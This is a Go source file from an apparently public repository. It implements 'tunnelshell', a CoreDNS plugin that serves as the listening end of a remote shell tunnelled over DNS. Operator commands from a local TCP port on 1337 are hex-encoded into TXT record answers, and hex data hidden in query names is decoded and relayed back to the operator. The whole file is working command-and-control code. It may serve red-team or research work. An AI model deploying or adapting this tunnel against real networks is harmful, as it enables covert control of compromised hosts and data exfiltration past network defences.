-
Notifications
You must be signed in to change notification settings - Fork 1
/
tunnel.go
119 lines (95 loc) · 2.34 KB
/
tunnel.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
package tunnelshell
import (
"context"
"github.com/coredns/coredns/plugin"
"bufio"
"encoding/hex"
"fmt"
"github.com/miekg/dns"
"net"
"strings"
"sync"
)
type Tunnel struct {
Next plugin.Handler
PendingOutbound []string
Conns []net.Conn
OutCounter int
InCounter int
sync.Mutex
}
func New() *Tunnel {
return &Tunnel{}
}
func (t *Tunnel) broadcast(msg string) {
for _, conn := range t.Conns {
conn.Write([]byte(msg))
}
}
func (t *Tunnel) handleConnection(connection net.Conn) {
fmt.Printf("received connection from %v\n", connection.RemoteAddr().String())
_, err := connection.Write([]byte("[+] connected to coredns-tunnelshell\n"))
if err != nil {
fmt.Println("Something went wrong trying to write to the connection:", err)
}
reader := bufio.NewReader(connection)
for {
msg, err := reader.ReadString('\n')
if err != nil {
break
}
t.Lock()
t.PendingOutbound = append(t.PendingOutbound, msg)
t.Unlock()
}
}
func (t *Tunnel) listenShell() {
var listenPort string = "1337"
listener, err := net.Listen("tcp", "localhost:"+listenPort)
if err != nil {
fmt.Printf("An error occurred while initializing the listener on %v: %v\n", listenPort, err)
} else {
fmt.Println("listening on tcp port " + listenPort + "...")
}
for {
connection, err := listener.Accept()
if err != nil {
fmt.Printf("An error occurred during an attempted connection: %v\n", err)
}
t.Conns = append(t.Conns, connection)
go t.handleConnection(connection)
}
}
func (t *Tunnel) ServeDNS(ctx context.Context, rw dns.ResponseWriter, r *dns.Msg) (int, error) {
t.Lock()
answer := "+"
if len(t.PendingOutbound) > 0 {
answer = t.PendingOutbound[0]
t.PendingOutbound = t.PendingOutbound[1:]
answer = hex.EncodeToString([]byte(answer))
}
t.Unlock()
m := new(dns.Msg)
m.SetReply(r)
for _, q := range m.Question {
switch q.Qtype {
case dns.TypeTXT:
s := strings.Split(q.Name, "-")
if len(s) > 0 {
if s[0] != "00" {
str, err := hex.DecodeString(s[0])
if err == nil {
t.broadcast(string(str))
}
}
}
rr, _ := dns.NewRR(fmt.Sprintf("%s 1 TXT %s", q.Name, answer))
m.Answer = append(m.Answer, rr)
}
}
m.MsgHdr.Authoritative = true
ret := rw.WriteMsg(m)
return 0, ret
}
// Name implements the Handler interface.
func (t *Tunnel) Name() string { return "tunnelshell" }